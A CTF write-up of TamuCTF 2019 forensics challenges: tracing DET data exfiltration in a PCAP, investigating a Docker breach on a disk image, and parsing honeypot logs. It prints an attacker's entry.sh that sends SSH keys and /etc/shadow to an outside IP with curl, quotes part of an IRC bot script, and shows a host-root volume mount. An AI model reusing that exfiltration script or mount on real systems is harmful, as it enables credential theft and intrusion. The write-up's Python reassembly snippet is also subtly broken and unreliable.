TamuCTF 2019


Reading rainbow

0_Network_Enumeration

Event Challenge Category Points Solves
TamuCTF 2019 0_Network_Enumeration Reading rainbow 100 ~499

Description

Recently, the office put up a private webserver to store important information about the newest research project for the company. This information was to be kept confidential, as it’s release could mean a large loss for everyone in the office. Just as the research was about to be published, a competing firm published information eerily similar. Too similar… Time to take a look through the office network logs to figure out what happened.

- What is the IP address of the private webserver?
- How many hosts made contact with the private webserver that day?
Filename MD5 Hash Download link
capture.pcap e36ff23c6995e3595035982cced6c6a9 https://mega.nz/#!aihUgK6I!a9Lvt6R1bBKit_bE8oOSQAUCdnl9LX_5egidhK5veRM

In this task, the challenge deal with a PCAP file, I let you check my article about PCAP analysis.

The first flag is to find the internal IP address of a web server. Since PCAP is quite large, I just have to load it into Capanalysis and filter on the SSL and HTTP protocols, then filter on the IP that receives the most data:

Fig 1: Web server IP address

It was the web server we were looking for:

Flag 1: 192.168.11.4

Now the second challenge is to find the number of IP addresses that have connected to this webserver. Since we know his IP address, with tshark it’s pretty easy:

▶ tshark -r capture.pcap -Y "ip.dst == 192.168.11.4" -Tfields -e 'ip.src' | sort | uniq
128.194.165.200
172.217.6.138
172.226.209.130
192.168.1.1
192.168.11.5
192.168.11.7
192.168.11.8
192.168.11.9
35.222.85.5
35.224.99.156
52.43.40.243
54.213.168.194
91.189.92.38

▶ tshark -r capture.pcap -Y "ip.dst == 192.168.11.4" -Tfields -e 'ip.src' | sort | uniq | wc -l
13

Fortunately, all connections are done on the same day::

Flag 2: 13

1_Discovery

Event Challenge Category Points Solves
TamuCTF 2019 1_Discovery Reading rainbow 100 ~198
- What is the IP address of the host exfiltrating data?
- For how long did the exfiltration happen? (Round to the nearest second. Format: MM:SS)
- What protocol/s was used to exfiltrate data? (Alphabetical order, all caps, comma separated, with spaces - ex: ABCD, BBCD)

It’s time to open this big PCAP file in Wireshark. Thanks to the first question, we know that the attack exfiltrates some data. The best filter for that is still: data.data:

Fig 2: Suspicious ICMP traffic

We can see that our web server (192.168.11.4) is chatting with another host (192.168.11.7) via weird ICMP requests. Let’s see what these requests contain:

Fig 3: Filter on data

If we get the first request with a tshark:

▶ tshark -r capture.pcap -Y "data.data && ip.dst == 192.168.11.4" -Tfields -e 'data.text' | head -n 1 | xxd -r -p
SEx4IRV.746f74616c6c795f6e6f7468696e672e706466.REGISTER.6156eab6691f32b8350c45b3fc4aadc1               

The data formatted like this looks a lot like the DET (Data Exfiltration Toolkit) framework. I had already talked about it in a writeup at the SantHackLause 2018.

Flag 1: 192.168.11.7

Now we have to determine the duration of the exfiltration. With a small filter on IPs, we see some interesting things in the DNS:

Fig 4: Suspicious domain name

If we extract the last DNS request and this is indeed the last DET request, we should find a “DONE”:

▶ echo -n '534578344952562e35312e444f4e45' | xxd -r -p                          
SEx4IRV.51.DONE

Perfect, we know the first request with the “REGISTER” and the last one with the “DONE”.

Fig 5: Timestamp

▶ echo $((35.49-24.40))                               
11.090000000000003

The exfiltration lasted 11 minutes and 9 seconds:

Flag 2: 11.09

The last step will be the simplest, we already have all the information, to find the protocols, we will do a little tshark trick:

▶ tshark -r capture.pcap -Y "ip.src == 192.168.11.4 && ip.dst == 192.168.11.7" -Tfields -e '_ws.col.Protocol' | sort | uniq 
DNS
HTTP
ICMP
TCP

The “TCP” protocol is not counted since it is a transport protocol (see OSI Model).

Flag 3: DNS, HTTP, ICMP

2_Exfiltration

Event Challenge Category Points Solves
TamuCTF 2019 2_Exfiltration Reading rainbow 100 ~96
- What is the name of the stolen file?
- What is the md5sum of the stolen file?

These questions are a little bit easy since we know that the attacker used DET. First request contains both flags:

SEx4IRV.746f74616c6c795f6e6f7468696e672e706466.REGISTER.6156eab6691f32b8350c45b3fc4aadc1
  • SEx4IRV
  • 746f74616c6c795f6e6f7468696e672e706466
  • REGISTER
  • 6156eab6691f32b8350c45b3fc4aadc1

The first hexadecimal sequence is the name of the encoded extracted file:

▶ echo -n '746f74616c6c795f6e6f7468696e672e706466' | xxd -r -p                              
totally_nothing.pdf
Flag 1: totally_nothing.pdf

The second hexadecimal sequence is the MD5 hash of the encoded extracted file:

Flag 2: 6156eab6691f32b8350c45b3fc4aadc1

3_Data

Event Challenge Category Points Solves
TamuCTF 2019 3_Data Reading rainbow 100 ~79
- What compression encoding was used for the data?
- What is the name and type of the decompressed file? (Format: NAME.TYPE e.g. tamuctf.txt)

Before answering the questions, it will be necessary to find a way to recover the original file. We know that the attacker used HTTP, DNS and ICMP protocols between IP 192.168.11.7 (attacker) and 192.168.11.4 (webserver) to extract his file. We will, therefore, use the following filter and save only the displayed packets to make a lightened PCAP file:

ip.src == 192.168.11.4 && ip.dst == 192.168.11.7 && (http || dns || icmp

Fig 6: Lightweight PCAP

We go from 15k packets to 117, it’s still more pleasant to analyze.

Get data from ICMP

ICMP data is sent in hexadecimal when decoding on the fly with xxd piped to tshark there is no more line break and the data becomes difficult to analyze. For that, there is sed which will add more returns to the line:

▶ tshark -r exfil.pcap -Y "icmp" -Tfields -e "data.text" | xxd -r -p | sed 's/SEx4IRV/\nSEx4IRV/g'
SEx4IRV.746f74616c6c795f6e6f7468696e672e706466.REGISTER.6156eab6691f32b8350c45b3fc4aadc1
SEx4IRV.2.85a846255178c4cbbd77ee999d7b7736892afaa392cf6ae7ccf9ee39f79efb9c3367325a767c1c7db414c0d4dadc4c78b0b5
SEx4IRV.12.2bb53aaf40c5354868c984db4df8b209379f172b26dcbc5f6e99f04a130ef3e234f944e875a64f746d26fc920977987079ee
[...]

▶ tshark -r exfil.pcap -Y "icmp" -Tfields -e "data.text" | xxd -r -p | sed 's/SEx4IRV/\nSEx4IRV/g' > clear_icmp

These are the ICMP data extracted from a file.

Get data from HTTP

HTTP data are sent as POST data:

Fig 7: HTTP hex encoded data

Same process as for ICMP:

▶ tshark -r exfil.pcap -Y "http" -Tfields -e urlencoded-form.value | xxd -r -p | sed 's/SEx4IRV/\nSEx4IRV/g'               
SEx4IRV.0.1f8b080094e16c5c0003ed596b6c1c5715beb30f7b9dd8eb4dea249b07cdb64d8493ca9b5d3b7ea4698877fd1a83ed98d40e
SEx4IRV.1.01ea4cd7deb1bdb00f6b77b6d8018125a755b7a94390a0ca1f50a5a20a103f5ca844040236b82a25bf1250451005b9555339
SEx4IRV.3.3960e6981a034d81000a36ed6f6a0ab6049a5b5a5120d818686c41bec047ec17a56c468ba47d3ea44512d931adfc50dcadfc

▶ tshark -r exfil.pcap -Y "http" -Tfields -e urlencoded-form.value | xxd -r -p | sed 's/SEx4IRV/\nSEx4IRV/g' > clear_http

Get data from DNS

The functioning of the DNS is a bit more different, because each request will be encoded in another.

▶ tshark -r exfil.pcap -Y "dns" -Tfields -e dns.qry.name | cut -d'.' -f2 | xxd -r -p | sed 's/SEx4IRV/\nSEx4IRV/g'
SEx4IRV.5.a6cb22df81782e99b8f30efd5976f11c219f61477c5da8d1d1851a1fc79f60ed4ed9783b1bb3cb33bb3cd307bec21c5b11fa
SEx4IRV.7.d868cbfe7df168433c96cc4e374cb7b534b4ecf76752fe46ea9387e9f60c0c537d32df30b4a4bc8e61a4fcedfa9fff74f35f
SEx4IRV.8.af6baf4c5fb9f1cbf7479e0bfce2f22b44d7858af346e66396d9137c6238025db0a4cf2098419e36e0ff460bbca10cee2d83

▶ tshark -r exfil.pcap -Y "dns" -Tfields -e dns.qry.name | cut -d'.' -f2 | xxd -r -p | sed 's/SEx4IRV/\nSEx4IRV/g' > clear_dns

Ordering each request

All requests must be put back in the right order. This is how DET works:

  1. File ID
  2. Packet number
  3. Data

This query construction is not valid for the first (REGISTER) and last (DONE) requests. To put all this in order, python will do it for us. I will put all the lines in a dictionary with the packet number as the key:

f = open('clear_data')
a = f.read()
f.close()

final = ""
tmp = {}

for i in range(0,len(a)):
	tmp[int(a[i].split('.')[1])] = a[i].split('.')[2]

for j in range(0,len(tmp)):
	final = tmp[j]

g = open('result','wb')
g.write(final)
g.close()

Here is what we obtain:

▶ file result 
result: ASCII text, with very long lines, with no line terminators

▶ cat result                    
1f8b080094e16c5c0003ed596b6c1c5715beb30f7b9dd8eb4dea249b07cdb64d8493ca9b5d3b7ea4698877fd1a83ed98d40e01ea4cd7deb1bdb00f6b7
[...]

▶ cat result | xxd -r -p > test 

▶ file test    
test: gzip compressed data, last modified: Wed Feb 20 05:11:48 2019, from Unix, original size 10240

Remember the first question of the challenge is the type of compression used:

Flag 1: gzip

Now, let’s uncompress the archive and got the original file:

▶ mv test test.gz                                                             
                                                                        
▶ gzip -d test.gz            
                                                                        
▶ file test 
test: POSIX tar archive (GNU)
                                                                          
▶ tar xvf test    
stuff                                                                            
▶ file stuff 
stuff: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e228bab316deed74b478d8f5bdef5d8c30bbd1b4, not stripped

And now, let’s validate the last flag:

Flag 2: stuff.elf

MicroServices

0_Intrusion

Event Challenge Category Points Solves
TamuCTF 2019 0_Intrusion MicroServices 100 ~669

Welcome to MicroServices inc, where do all things micro and service oriented! Recently we got an alert saying there was suspicious traffic on one of our web servers. Can you help us out?

Filename MD5 hash Download link
microservice.pcap 18d2c48f5d03d5faa5cb4473f9819b4b https://mega.nz/#!Gv5zAahB!afQTRfSLEE93xDDoZbi0EoGLrGzshAALLCS-1LwykdY
- What is the IP Address of the attacker?

For this flag I don’t have any real analysis, I just opened the PCAP file and looked at the different TCP conversations. The IP that sends the most data and voila:

Fig 7: Malicious IP

Flag: 10.91.9.93

1_Logs

Event Challenge Category Points Solves
TamuCTF 2019 1_Logs MicroServices 100 ~179

Thanks for discovering the malicious IP. We will add it to our block list. We also got a disk image of the web server while you were working. Can you dig a little deeper for us?

Filename MD5 Download link
filesystem.image 490c78e249177e6478539f459ca14e87 https://drive.google.com/uc?id=19zgsmqMZ_QltLYzWcCdxizV9Wipj-2NI&export=download
- What user was the attacker able to login as?
- What is the date & time that the attacker logged in? (MM/DD:HH:MM:SS)

Once the archive is finally downloaded, we’ll mount it in readonly to avoid screwing everything inside:

▶ mkdir aaa
▶ sudo mount -o ro filesystem.image aaa

We know the attacker’s IP (10.91.9.93) and we are looking for a connection. Let’s see what the auth.log file contains:

➜  microservices cat aaa/var/log/auth.log | grep '10.91.9.93'
Feb 17 00:06:04 ubuntu-xenial sshd[15799]: Accepted publickey for root from 10.91.9.93 port 41592 ssh2: RSA SHA256:lR4653Hv/Y9QthWvXFB2KkNPzQ1r8mItv83OgiCAR4g

We got all flags immediately:

Flag 1: root
Flag 2: 02/17:00:06:04

2_Analysis

Event Challenge Category Points Solves
TamuCTF 2019 2_Analysis MicroServices 100 ~96

Thanks for that information. Can you take a deeper dive now and figure out exactly how the attacker go in?

- What is the name of the service that was used to compromise the machine? (All lowercase)
- What is the md5sum of the initial compromising file?
- What specific line in the initial compromising file was the most dangerous? (Actual line, spaces in front don't matter)

During an investigation, my first reflex is to go to the folders of the different users (/home, /root):

➜  microservices tree -a -f aaa/root
aaa/root
├── aaa/root/.bashrc
├── aaa/root/.cache
│   └── aaa/root/.cache/motd.legal-displayed
├── aaa/root/.profile
└── aaa/root/.ssh
    ├── aaa/root/.ssh/authorized_keys
    └── aaa/root/.ssh/id_rsa

➜  microservices tree -a -f aaa/home
aaa/home
└── aaa/home/ubuntu
    ├── aaa/home/ubuntu/.ansible
    │   └── aaa/home/ubuntu/.ansible/tmp
    │       └── aaa/home/ubuntu/.ansible/tmp/ansible-tmp-1550362148.9-21461470003029
    │           └── aaa/home/ubuntu/.ansible/tmp/ansible-tmp-1550362148.9-21461470003029/command
    ├── aaa/home/ubuntu/.bash_logout
    ├── aaa/home/ubuntu/.bashrc
    ├── aaa/home/ubuntu/.cache
    │   └── aaa/home/ubuntu/.cache/motd.legal-displayed
    ├── aaa/home/ubuntu/.data
    │   ├── aaa/home/ubuntu/.data/mysql
    │   │   ├── aaa/home/ubuntu/.data/mysql/aria_log.00000001
    │   │   ├── aaa/home/ubuntu/.data/mysql/aria_log_control
    │   │   ├── aaa/home/ubuntu/.data/mysql/customers
    │   │   │   ├── aaa/home/ubuntu/.data/mysql/customers/customer_info.frm
    │   │   │   ├── aaa/home/ubuntu/.data/mysql/customers/customer_info.ibd
    │   │   │   └── aaa/home/ubuntu/.data/mysql/customers/db.opt
    │   │   ├── aaa/home/ubuntu/.data/mysql/ib_buffer_pool
    │   │   ├── aaa/home/ubuntu/.data/mysql/ibdata1
[LOOOOOOTS OF MYSQL FILES]
    │   │   ├── aaa/home/ubuntu/.data/mysql/performance_schema
    │   │   │   └── aaa/home/ubuntu/.data/mysql/performance_schema/db.opt
    │   │   └── aaa/home/ubuntu/.data/mysql/tc.log
    │   └── aaa/home/ubuntu/.data/redis
    ├── aaa/home/ubuntu/docker-compose.yml
    ├── aaa/home/ubuntu/id_rsa.pub
    ├── aaa/home/ubuntu/logs
    │   ├── aaa/home/ubuntu/logs/access.log
    │   ├── aaa/home/ubuntu/logs/error.log
    │   └── aaa/home/ubuntu/logs/other_vhosts_access.log
    ├── aaa/home/ubuntu/.profile
    ├── aaa/home/ubuntu/.ssh
    │   └── aaa/home/ubuntu/.ssh/authorized_keys
    └── aaa/home/ubuntu/.sudo_as_admin_successful

13 directories, 112 files

We will search in the /etc/passwd file if there are no other users who have can access to a bash:

➜  microservices cat aaa/etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
dev:x:0:0:root:/root:/bin/bash

It’s funny, the user dev has /root as $HOME directory…

We see a docker-composes.yml file in the user’s directory ubuntu:

➜  microservices cat aaa/home/ubuntu/docker-compose.yml 
version: '2'

services:
  web:
    image: tamuctf/webfront:latest
    restart: always
    ports:
      - "80:80"
    environment:
      - DATABASE_URL=mysql+pymysql://root:351BrE7aTQE8@db/customers
      - REDIS_URL=redis://cache:6379
    volumes:
      - ./logs:/var/log/apache2
      - /:/tmp
    depends_on:
      - db
    networks:
        default:
        internal:

  db:
    image: mariadb:10.2
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=351BrE7aTQE8
      - MYSQL_USER=user
      - MYSQL_PASSWORD=e68Qc2s0HsyR
    volumes:
      - .data/mysql:/var/lib/mysql
    networks:
        internal:
    # This command is required to set important mariadb defaults
    command: [mysqld, --character-set-server=utf8mb4, --collation-server=utf8mb4_unicode_ci, --wait_timeout=28800, --log-warnings=0]

  cache:
    image: redis:4
    restart: always
    volumes:
    - .data/redis:/data
    networks:
        internal:

networks:
    default:
    internal:
        internal: true

If you’re a little familiar with Docker, you’ve already found out where the attacker went. Line 13 of the file, the user is mounting the root directory in the /tmp folder of the container:

- /:/tmp

As a result, the attacker compromised the webfront and got access to the host filesystem as root user. So he was able to retrieve the SSH private key from the host and logged in with.

The MD5 hash of the docker-composer.yml:

➜  microservices md5sum aaa/home/ubuntu/docker-compose.yml
a2111283f69aafcd658f558b0402fbc4  aaa/home/ubuntu/docker-compose.yml
Flag 1: docker
Flag 2: a2111283f69aafcd658f558b0402fbc4
Flag 3: - /:/tmp

3_Forensics

Event Challenge Category Points Solves
TamuCTF 2019 3_Forensics MicroServices 100 ~27

Thanks for that information. It seems that one of our developers didn’t pay attention to what he was copying off of the internet. Can you help use figure out the extent of what the attacker was able to do?

- What are the last names of customers who got compromised? (alphabetical order, Capitalized first letter, comma separated ex: Asdf,Bsdf)
- What is the md5sum of the file that was used to exfiltrate data initially?
- What is the md5sum of the file that was stolen after the attacker logged in?

Something to know when you’re doing forensic work with docker is: absolutely ALL about containers and other files/information related to this service is located here: /var/lib/docker.

Let’s list the docker containers that have been used. We’ll go looking for the one who climbs the root in the /tmp folder of the container:

➜  microservices ls aaa/var/lib/docker/containers 
90814f0051eed67a4dd291c8e3f44836c3cf3bd793818eba2e9ae7d0eedc661e
9e7b7ad707af6c0d04591d59e1b7570b784fc194c1847170d40bafc873da85d4
c7b26c91b07eef1f63c8ea3351477f2344e1873f2af8a1566954ecd0678982da
c8c5438a36920a02375b7fffba9065769a3657ee48d522b5ac9a8eec18b1ad84

Each container created contains a configuration file in JSON:

➜  microservices ls aaa/var/lib/docker/containers/*/config*
aaa/var/lib/docker/containers/90814f0051eed67a4dd291c8e3f44836c3cf3bd793818eba2e9ae7d0eedc661e/config.v2.json
aaa/var/lib/docker/containers/9e7b7ad707af6c0d04591d59e1b7570b784fc194c1847170d40bafc873da85d4/config.v2.json
aaa/var/lib/docker/containers/c7b26c91b07eef1f63c8ea3351477f2344e1873f2af8a1566954ecd0678982da/config.v2.json
aaa/var/lib/docker/containers/c8c5438a36920a02375b7fffba9065769a3657ee48d522b5ac9a8eec18b1ad84/config.v2.json

➜  microservices cat aaa/var/lib/docker/containers/*/config.v2.json | jq | grep -E '"ID"|"Image"'
  "ID": "90814f0051eed67a4dd291c8e3f44836c3cf3bd793818eba2e9ae7d0eedc661e",
    "Image": "tamuctf/kaliimage",
  "Image": "sha256:420f4338bea593a9a96151c51b3f5550fac8f7c29cb41c451b4d07c02cf9b28d",
  "ID": "9e7b7ad707af6c0d04591d59e1b7570b784fc194c1847170d40bafc873da85d4",
    "Image": "redis:4",
  "Image": "sha256:3ddb7885a5e075ba8ed414d0706059999aa73fceb4249bef7cb293c1ec559dfc",
  "ID": "c7b26c91b07eef1f63c8ea3351477f2344e1873f2af8a1566954ecd0678982da",
    "Image": "mariadb:10.2",
  "Image": "sha256:907f5f6c749d16ddd8f4a75353228a550d8eddd78693f4329c90ce51a99ec875",
  "ID": "c8c5438a36920a02375b7fffba9065769a3657ee48d522b5ac9a8eec18b1ad84",
    "Image": "tamuctf/webfront:latest",
  "Image": "sha256:05585189bd6cb140d5fcee52b95a05a202f3aa2ae62743a749d0d82bcacfbc5c",

A surprising image is here: kaliimage. Image Docker which has nothing to do on a web server…

In the /var/lib/lib/docker/overlay2/ folder there are all the intermediate versions of the docker containers, in the form of a hash. Kind of like the commits for GitHub.

➜  microservices ls aaa/var/lib/docker/overlay2 
030086336adcdf22311680627f9ec604012ecf86ed7f87b2f20c21be94a7e91f
06aa47c261686f54296a2da65bfea7ed577ff79ce2263a320c95f73e2ad51db1
0bdd99e71211b7d42c48fc86936089b1766af62159e78554434d3b7762f88bb4
0dfa81ec47cc9d78701052f24ce164b114279abb425af227eb7664624d64c848
101c6052088fb1d7b9bf6331ae2e3a052a5480b14a5e48e43eb465914880cd68
146731568c44e1ab0d9a339166cd67189b51f6e0166b301f86557aef05b0d55d
[...]

Each of these folders has the same architecture:

➜  microservices tree aaa/var/lib/docker/overlay2/030086336adcdf22311680627f9ec604012ecf86ed7f87b2f20c21be94a7e91f 
aaa/var/lib/docker/overlay2/030086336adcdf22311680627f9ec604012ecf86ed7f87b2f20c21be94a7e91f
├── diff
│   └── etc
│       └── apt
│           └── sources.list
├── link
├── lower
└── work

The folder that will interest us will be the diff one, which bears its name well because it will record the differences between each container version. That’s why Docker quickly becomes greedy in terms of disk size.

To find what interests me, I did something not very skilled, but which has is exhaustive:

➜  microservices ls aaa/var/lib/docker/overlay2/*/diff/
aaa/var/lib/docker/overlay2/0dfa81ec47cc9d78701052f24ce164b114279abb425af227eb7664624d64c848/diff/:
etc  tmp  usr  var

aaa/var/lib/docker/overlay2/101c6052088fb1d7b9bf6331ae2e3a052a5480b14a5e48e43eb465914880cd68/diff/:
etc  var

aaa/var/lib/docker/overlay2/146731568c44e1ab0d9a339166cd67189b51f6e0166b301f86557aef05b0d55d/diff/:
etc  lib  tmp  usr  var

aaa/var/lib/docker/overlay2/146d15695f9f4187544729bbd71682fe0fcebce1cd65becfc74f64f3278ea370/diff/:
run

aaa/var/lib/docker/overlay2/146d15695f9f4187544729bbd71682fe0fcebce1cd65becfc74f64f3278ea370-init/diff/:
dev  etc
[LOT OF RESUUUUUUUUULT]

But at a quick glance, I saw that an entry.sh file had been modified, nothing else on the docker’s filesystem:

➜  microservices ls aaa/var/lib/docker/overlay2/*/diff/
[...]
aaa/var/lib/docker/overlay2/5d6f4f20fa15dd9d3960358e9b6e257821e3ab277a6ff4db92163d926e5c5e8a/diff/:
entry.sh
[...]

➜  microservices cat aaa/var/lib/docker/overlay2/5d6f4f20fa15dd9d3960358e9b6e257821e3ab277a6ff4db92163d926e5c5e8a/diff/entry.sh 
#!/bin/sh

if [ -n "$DATABASE_URL" ]
    then
    database=`echo $DATABASE_URL | awk -F[@//] '{print $4}'`
    echo "Waiting for $database to be ready"
    while ! mysqladmin ping -h $database --silent; do
        # Show some progress
        echo -n '.';
        sleep 1;
    done
    echo "$database is ready"
    # Give it another second.
    sleep 1;
fi

mysql -uroot -h db -p351BrE7aTQE8 -e 'CREATE DATABASE customers;\
                                USE customers;\
                                CREATE TABLE customer_info(LastName varchar(255), FirstName varchar(255), Email varchar(255), CreditCard varchar(255), Password varchar(255));\
                                INSERT INTO customer_info VALUES ("Meserole", "Andrew", "A@A.com", "378282246310005", "badpass1");\
                                INSERT INTO customer_info VALUES ("Billy", "Bob", "B@A.com", "371449635398431", "badpass2");\
                                INSERT INTO customer_info VALUES ("Suzy", "Joe", "S@A.com", "378734493671000", "badpass3");\
                                INSERT INTO customer_info VALUES ("John", "Doe", "J@A.com", "6011000990139424", "badpass4");\
                                INSERT INTO customer_info VALUES ("Frank", "Ferter", "F@A.com", "3566002020360505", "badpass5");\
                                INSERT INTO customer_info VALUES ("Orange", "Chair", "O@A.com", "4012888888881881", "badpass6");\
                                INSERT INTO customer_info VALUES ("Face", "Book", "C@A.com", "5105105105105100", "badpass7");\'

find /tmp/home -type d -name ".ssh" 2> /dev/null > /tmp/ljkasdhg
find /tmp/root -type d -name ".ssh" 2> /dev/null >> /tmp/ljkasdhg

sleep 2m;

while read line; do
    find $line -type f -exec curl -k -F 'data=@{}' https://10.91.9.93/ \;
done < /tmp/ljkasdhg

curl -k -F 'data=@/tmp/etc/shadow' https://10.91.9.93/

service apache2 stop;
apache2 -D FOREGROUND;

It’s Christmas, we found the file modified by the attacker and what allowed him to do yolo with the system. He modified database entries, retrieved /etc/shadow, information about users’ .ssh folders.

The compromised users are therefore:

Flag 1: Billy,Face,Frank,John,Meserole,Orange,Suzy

The file that was used to extract data from the data is therefore entry.sh:

Flag 2: 14b0d800ce6f2882a6f058b45fc500c8

Still in the same perspective as to find the entry.sh, I listed the diff folders. In fact, I thought we were looking for a SQL backup or something like that, modifying a database without getting the backups is like ransomware that doesn’t delete clear files…

➜  microservices ls aaa/var/lib/docker/overlay2/*/diff/
[...]
aaa/var/lib/docker/overlay2/e714d5d9a9c2b274dc598376078e089556081865d541bfa9aef768b1982ba0b3/diff/:
data-dump.sql  run  tmp
[...]

➜  microservices cat aaa/var/lib/docker/overlay2/e714d5d9a9c2b274dc598376078e089556081865d541bfa9aef768b1982ba0b3/diff/data-dump.sql
[BAD IDEA TOO MUCH DATA]

➜  microservices md5sum aaa/var/lib/docker/overlay2/e714d5d9a9c2b274dc598376078e089556081865d541bfa9aef768b1982ba0b3/diff/data-dump.sql
6d47d74d66e96c9bce2720c8a56f2558  aaa/var/lib/docker/overlay2/e714d5d9a9c2b274dc598376078e089556081865d541bfa9aef768b1982ba0b3/diff/data-dump.sql
Flag 3: 6d47d74d66e96c9bce2720c8a56f2558

4_Persistence

Event Challenge Category Points Solves
TamuCTF 2019 4_Persistence MicroServices 100 ~25

Thanks for that information. We are working on how to recover from this breach. One of the things we need to do is remove any backdoors placed by the attacker. Can you identify what the attacker left behind?

- What is the new user that was created?
- What is the full name of the new docker image that was pulled down?

This challenge was rather simple given the information found earlier. In step 2 (2_Analysis), I saw that the $HOME of the dev user is /root, so we suspect that it is the new user :

Flag 1: dev

Then, when I started investigating on docker containers (cf. 3_Forensics), I saw an image Kali named: tamuctf/kaliimage.

Flag 2: tamuctf/kaliimage

Honeypot

This part of the writeup will go pretty fast, it’s just parsing in the end. All challenges are in the following archive:

Password for the archive: tamuctf

Filename MD5 Hash Download link
honeypot2.7z b08992d50e5885f6db8cf50f22eefab4 https://drive.google.com/uc?id=1lhYsk97AgYDMxzfz1r6FzUs28sugZUR0&export=download

Warning this challenge contains some malware samples.

Cowrie

Event Challenge Category Points Solves
TamuCTF 2019 Cowrie Honeypot 100 ~108
- What was the most common src ip (telnet & ssh)?
- What was the most common telnet username?
- What was the most common ssh username?
- What is the url and channel of the IRC server that the one downloaded script tried to connect to? (url, channel)

In order to find the most used IP address for telnet and ssh, I just count, sort and print the first line:

▶ cat cowrie.json.2018*| jq | grep "src_ip" | sort | uniq -c | sort -nr | head -n 1
  21011   "src_ip": "211.143.198.161",
Flag 1: 211.143.198.161

Some things for flag 2 and 3:

▶ cat cowrie.json.2018* | jq | grep username | sort | uniq -c | sort -nr | head -n 2
  12998   "username": "root",
   9626   "username": "admin",
Flag 2: root
Flag 3: admin

Cowrie is saving all binaries / scripts or whatever dropped by the attacker, I’m able to find it in download folder:

▶ file cowrie/downloads/d3f074230f4b62a4d2a8d50a5df9a51d6fe20a8d3b27c1ff9459cdbc531f489d 
cowrie/downloads/d3f074230f4b62a4d2a8d50a5df9a51d6fe20a8d3b27c1ff9459cdbc531f489d: a /usr/bin/perl script executable (binary data)

▶ cat d3f074230f4b62a4d2a8d50a5df9a51d6fe20a8d3b27c1ff9459cdbc531f489d | sed '/^[[:space:]]*$/d'
[...]
$server = 'irc.quakenet.org' unless $server;
my $port = '6667';
my $linas_max='8';
my $sleep='5';
my $homedir = "/tmp";
my $version = 'Undernet Perl Bot v1.0';
my @admins = ("gov","gov-","fucker-","fucker","op");
my @hostauth = ("fucker.users.quakenet.org","gov.users.quakenet.org","cker.pro");
my @channels = ("#bookz");
[...]
Flag 4: irc.quakenet.org, bookz

Dionaea

Event Challenge Category Points Solves
TamuCTF 2019 Dionaea Honeypot 100 ~85
- What was the most common src ip?
- What is the common name for the most commonly downloaded malware?
▶ cat dionaea/log/dionaea.json.* | jq | grep 'src_ip' | sort | uniq -c | sort -nr | head -n 1
    128   "src_ip": "::ffff:193.56.29.24",
Flag 1: 193.56.29.24

Lots of binaries are stored by the honeypot. I just generate md5sum for all of them and check the first one on VirusTotal:

▶ md5sum dionaea/binaries/data/dionaea/binaries/*
0ab2aeda90221832167e5127332dd702  dionaea/binaries/data/dionaea/binaries/0ab2aeda90221832167e5127332dd702
1533a4e55cee10a9487e4b13abff4688  dionaea/binaries/data/dionaea/binaries/1533a4e55cee10a9487e4b13abff4688
1a400481251fac98bc574c0aed7beca8  dionaea/binaries/data/dionaea/binaries/1a400481251fac98bc574c0aed7beca8
20b431c101855960614b21e4c1b26451  dionaea/binaries/data/dionaea/binaries/20b431c101855960614b21e4c1b26451
2622e5c9ac05ed71ab35606493627c13  dionaea/binaries/data/dionaea/binaries/2622e5c9ac05ed71ab35606493627c13
2de98404eb4ac4a525ed1884f4ea445b  dionaea/binaries/data/dionaea/binaries/2de98404eb4ac4a525ed1884f4ea445b
[...]

Fig 8: Malware sample analysis on VT

According to Avira:

Flag 3: wannacry

Glastopf

Event Challenge Category Points Solves
TamuCTF 2019 Glastopf Honeypot 100 ~70
- What was the most common src ip?
- What are the three most commonly requested url besides / get or post? (no slashes, all lowercase, alphabetical (1.ext, a.ext, b.ext))

In this honeypot logs are not stored in JSON format… So I had to parse them with cut.

▶ cat glastopf/log/glastopf.log.* | cut -d" " -f4 | sort | uniq -c | sort -nr | head -n 1
    274 85.121.16.8
Flag 1: 85.121.16.8
▶ cat glastopf/log/glastopf.log.* | cut -d" " -f7 | sort | uniq -c | sort -nr | head -n 4
     96 /
     20 /qq.php
     20 /confg.php
     20 /1.php
Flag 2: 1.php, confg.php, qq.php

Honeytrap

Event Challenge Category Points Solves
TamuCTF 2019 Honeytrap Honeypot 100 ~75
- What was the most common src ip?
- What was the most common user agent?
- What was the second most common user agent?

As the previous honeypot, logs are not stored as json file, so I cut them and doing some sed stuff in order to remove all associate ports, I only need IP address:

▶ cat honeytrap/log/attacker.log| cut -d" " -f5 | sed 's/:.*//' | uniq | sort | uniq -c | sort -nr | head -n 1
      9 5.188.210.12
Flag 1: 5.188.210.12

For two most common user-agent:

▶ cat honeytrap/attacks/* | grep -a 'User-Agent' | sort | uniq -c | sort -nr | head -n 2
     28 User-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64
     11 User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Flag 2: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64
Flag 3: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Suricata

Event Challenge Category Points Solves
TamuCTF 2019 Suricata Honeypot 100 ~89
- What CVE was alerted for the most?
- What was the most common signature?

JSON logs, great.

▶ cat suricata/log/suricata_ews.log.* | jq | grep "cve_id" | sort | uniq -c | sort -nr | head -n 1
   1527     "cve_id": "CVE-2006-2369",
Flag 1: CVE-2006-2369

There are signature pattern in both log files (eve.json and suricata_ews.log), then:

▶ cat suricata/log/* | jq | grep 'signature"' | sort | uniq -c | sort -nr | head -n 1
1426173     "signature": "ET EXPLOIT [PTsecurity] DoublePulsar Backdoor installation communication",
Flag 2: ET EXPLOIT [PTsecurity] DoublePulsar Backdoor installation communication